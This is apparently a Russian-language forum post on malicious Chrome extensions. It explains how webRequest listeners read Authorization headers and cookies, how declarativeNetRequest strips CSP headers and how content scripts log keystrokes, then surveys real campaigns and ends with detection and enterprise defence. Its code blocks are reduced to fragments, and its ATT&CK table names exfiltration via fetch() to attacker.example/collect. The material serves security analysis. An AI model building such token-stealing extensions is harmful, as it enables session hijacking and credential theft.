![]() |
https://forum.antichat.xyz/attachmen...1ec8256e35.png
Вы устанавливаете расширение-переводчик в Chrome. Оно честно переводит страницы. А в фоне - стягивает каждый Authorization-заголовок и сливает ваш Bearer-токен на сервер атакующего через обычный Код:
fetch()Я разбираю вредоносные расширения профессионально: пишу PoC-расширения, злоупотребляющие Код:
webRequestКод:
mitmproxyКод:
webRequestКод:
declarativeNetRequestПочему вредоносные расширения браузера - идеальный вектор атаки Браузерные расширения сидят в уникальной позиции: работают внутри браузера, но с привилегиями, недоступными обычным веб-страницам. Расширение с правом Код:
Согласно исследованию на arxiv.org ("A Study on Malicious Browser Extensions in 2025"), вредоносные расширения (MBE) используются для фишинга, кейлоггинга, шпионажа, кражи данных и перехвата сессий. Исследователи успешно обошли механизмы безопасности Firefox и Chrome, показав, что вредоносные расширения по-прежнему можно разработать, опубликовать и запустить через официальные магазины. Модерация в обоих - дырявое решето. По данным Chromium Blog, среди вредоносных расширений, обнаруженных с января 2018 года, 42% злоупотребляли блокирующим режимом webRequest для модификации трафика. При этом пользователи воспринимают расширения как безопасные - они же из официального магазина. Как метко замечают в Kaspersky: «если исполняемых файлов из непроверенных источников многие уже привыкли опасаться, то от браузерных расширений, загруженных из официального магазина, обычно никто не ждет подвоха». В терминологии MITRE ATT&CK установка вредоносного расширения - это техника Browser Extensions (T1176.001, Persistence). Расширение может прилететь через вредоносную загрузку из магазина, через социальную инженерию или от злоумышленника, уже получившего доступ к системе. После установки - устойчивый доступ к жертве, который переживает перезагрузку и обновления браузера. webRequest API: как расширения Chrome читают трафик целиком Код:
chrome.webRequestКод:
onBeforeSendHeadersКод:
CookieКод:
AuthorizationКод:
X-CSRF-TokenТехнически процесс простой: браузер формирует запрос, но перед отправкой на сервер отдаёт все данные расширению. URL, метод, заголовки - на, держи, делай что хочешь. Расширение может пропустить запрос, заблокировать, подменить заголовки или тупо скопировать токены и слить их к себе. Как объясняет Chromium Blog: «Chrome sends all the data in a network request to the listening extension - including any sensitive data contained in that request like personal photos or emails. The extension has a chance to evaluate the request, and then tells Chrome what to do with the request: allow it, block it, or send it with some modifications». Перехват Authorization-заголовков и сессионных cookie Минимальный перехватчик в Код:
background.jsКод:
webRequestКод:
"blocking"Код:
webRequestJavaScript: Код:
chromeКод:
onBeforeSendHeadersКод:
{urls: [""]}Код:
"blocking"Код:
AuthorizationКод:
CookieКод:
fetch()Жертва не увидит ничего. Страницы грузятся нормально, запросы уходят без задержки, в DevTools - тишина. Расширение работает на уровне, к которому обычные инструменты разработчика имеют ограниченный доступ. В терминах MITRE ATT&CK этот паттерн покрывает сразу несколько техник: Steal Web Session Cookie (T1539, Credential Access) - кража сессионных куков, и Browser Session Hijacking (T1185, Collection) - перехват активных веб-сессий. Если токен - это TOTP-seed или 2FA-код, как в случае с расширением CL Suite, обнаруженным Socket (по данным The Hacker News), атакующий получает полный доступ к аккаунту. Двухфакторка не спасает - расширение сидит внутри периметра доверия. Эксфильтрация данных через стандартные веб-протоколы Обратите внимание: данные утекают не через какой-то скрытый канал, а через обычный HTTPS POST. Это техники Exfiltration Over C2 Channel (T1041, Exfiltration) и Web Protocols (T1071.001, Command and Control) по MITRE ATT&CK. Трафик к серверу атакующего выглядит как обычный запрос к веб-сайту - попробуй отличи от легитимного, особенно если C2-сервер сидит на домене Код:
.comКод:
.proКод:
getauth[.]prodeclarativeNetRequest в Manifest V3: ложное чувство безопасности Google представил Manifest V3 и Код:
declarativeNetRequestКод:
webRequestНа бумаге звучит красиво. На практике - другая история. Почему Manifest V3 не закрыл все векторы перехвата Первый момент, и он критический: наблюдающая (observational) часть webRequest API никуда не делась. Как отметили на Hacker News: «The privacy arguments are untrue because the Observational capabilities of the WebRequest API aren't being deprecated». Расширение в MV3 по-прежнему наблюдает за сетевыми запросами - теряет только возможность блокировки. Но для кражи данных блокировка и не нужна. Достаточно посмотреть. Второй момент: Код:
declarativeNetRequestКод:
declarativeNetRequestКод:
Content-Security-PolicyКод:
X-Frame-OptionsКод:
Strict-Transport-SecurityПравило для удаления CSP - JSON-объект в файле правил: Код:
action: "modifyHeaders"Код:
Content-Security-PolicyКод:
removeКод:
modifyHeadersКод:
host_permissionsКод:
rules.jsonТретий момент: DEF CON 32. Согласно arxiv.org-исследованию, команда SquareX показала, что даже в рамках Manifest V3 вредоносные расширения обходят защитные меры, крадут live-стримы, куки и учётные данные. MV3 усложнил некоторые атаки, но фундаментальную проблему не решил: расширения по-прежнему наследуют разрешения браузера и имеют доступ к контенту страниц. У меня складывется ощущение, что MV3 - это скорее PR-ход, чем реальная мера безопасности. Content Script Injection: man-in-the-browser изнутри страницы Перехват трафика - не единственный вектор. Content scripts инжектируются прямо в DOM загруженной страницы и выполняются в контексте её origin. Классический man-in-the-browser, где расширение - шпион внутри каждой вкладки. Кейлоггинг и перехват форм через DOM Content script вешает Код:
addEventListener("keydown", ...)Код:
documentНо профессиональные MBE работают хитрее. Вместо глобального кейлоггинга они бьют точечно: находят в DOM элементы Код:
input[type="password"]Код:
input[name="email"]Пример из реальной кампании: расширение CL Suite (по данным The Hacker News) маскировалось под инструмент для работы с Meta Business Suite. Оно не перехватывало пароли, но тянуло TOTP-seed (секрет для генерации одноразовых паролей), CSV-экспорты контактных списков Business Manager и аналитику - всё через content script, работающий на Код:
meta.comКод:
facebook.comЕщё один вектор: расширение может подменять содержимое страницы. Исследователи arxiv.org показали расширение, которое меняло контент - например, подставляло адреса кошельков атакующего в формы перевода криптовалюты. Формально это не перехват трафика, но результат тот же - деньги жертвы уходят не туда. Реальные кампании 2025–2026: масштаб и техники Теория - это хорошо, но реальные кейсы убеждают лучше. Три крупные кампании последних месяцев, каждая - с уникальным техническим подходом. Кампания VK Styles: 500 000 угнанных аккаунтов По данным The Hacker News, около 500 000 пользователей ВКонтакте были скомпрометированы через Chrome-расширения, маскировавшиеся под инструменты кастомизации VK. Расширения автоматически подписывали жертв на группы атакующего, сбрасывали настройки аккаунта каждые 30 дней, манипулировали CSRF-токенами для обхода защиты VK и поддерживали персистентный контроль. Технически интересен механизм управления: расширения использовали HTML-метатеги профиля VK ( Код:
vk[.]com/m0ndaКампания AiFrame: 260 000 установок под видом AI-ассистентов Кластер из 32 расширений, маскирующихся под AI-ассистенты (ChatGPT, Gemini, DeepSeek, Grok), обнаружен с совокупными 260 000 установок. По данным LayerX (через The Hacker News), расширения не реализовывали AI-функции локально, а встраивали удалённые iframe, управляемые сервером, и работали как привилегированные прокси - отдавали удалённой инфраструктуре доступ к чувствительным возможностям браузера. Красивый фантик «AI-помощника», а внутри - бэкдор. 57 скрытых расширений с 6 миллионами пользователей По данным Kaspersky, исследователь Джон Такнер обнаружил 57 подозрительных расширений, скрытых от индексирования в Chrome Web Store. Ключевой IoC - домен Код:
unknow[.]comМаппинг полной цепочки атаки на MITRE ATT&CK Вредоносное расширение - не одна техника, а полноценная цепочка. Вот как типичная MBE-атака раскладывается по тактикам MITRE ATT&CK: ЭтапТактикаТехника ATT&CKПример в расширенииУстановкаPersistenceB rowser Extensions (T1176.001)Публикация в Chrome Web Store под видом утилитыПерехват вводаCredential AccessKeylogging (T1056.001)Content script с addEventListener на keydownКража сессийCredential AccessSteal Web Session Cookie (T1539)webRequest перехватывает Cookie-заголовкиЗахват сессийCollectionBrowser Session Hijacking (T1185)Извлечение Telegram-токенов каждые 15 секундКража паролейCredential AccessCredentials from Web Browsers (T1555.003)Перехват полей input[type=password] через DOMЭксфильтрацияExfiltrationExfiltrat ion Over C2 Channel (T1041)fetch() на attacker.example/collectУправлениеCommand and ControlWeb Protocols (T1071.001)HTTPS POST к C2, дублирование в Telegram Как обнаружить и защититься от вредоносных расширений От теории атак - к практике защиты. Три уровня: анализ расширений, мониторинг сети, организационные меры. Аудит manifest.json и permissions расширений Первое - открыть Код:
manifest.jsonКод:
chrome://extensions
Код:
background.jsКод:
service_workerКод:
fetch()Код:
XMLHttpRequestКод:
atob()Код:
eval()Код:
atob("aHR0cHM6Ly...")Мониторинг сетевой активности расширений На уровне сети - Код:
mitmproxyКод:
mitmproxy -p 8080https://forum.antichat.xyz/attachmen...6712104407.png Для корпоративной среды: Chrome Enterprise позволяет принудительно управлять расширениями через групповые политики. Политика Код:
ExtensionSettingsКод:
installation_mode: blockedКод:
ExtensionInstallForcelistЧто делать прямо сейчас Практический чеклист для security-инженера:
В кампании VK Styles расширения использовали dead drop resolver через HTML-метатеги профиля VK для скрытия URL пейлоада, а AiFrame встраивала удалённые iframe как привилегированные прокси. У кого из вас в корпоративной политике Chrome настроен Код:
ExtensionInstallBlocklist: *Код:
manifest.jsonКод:
webRequestКод:
declarativeNetRequest |
| Время: 02:06 |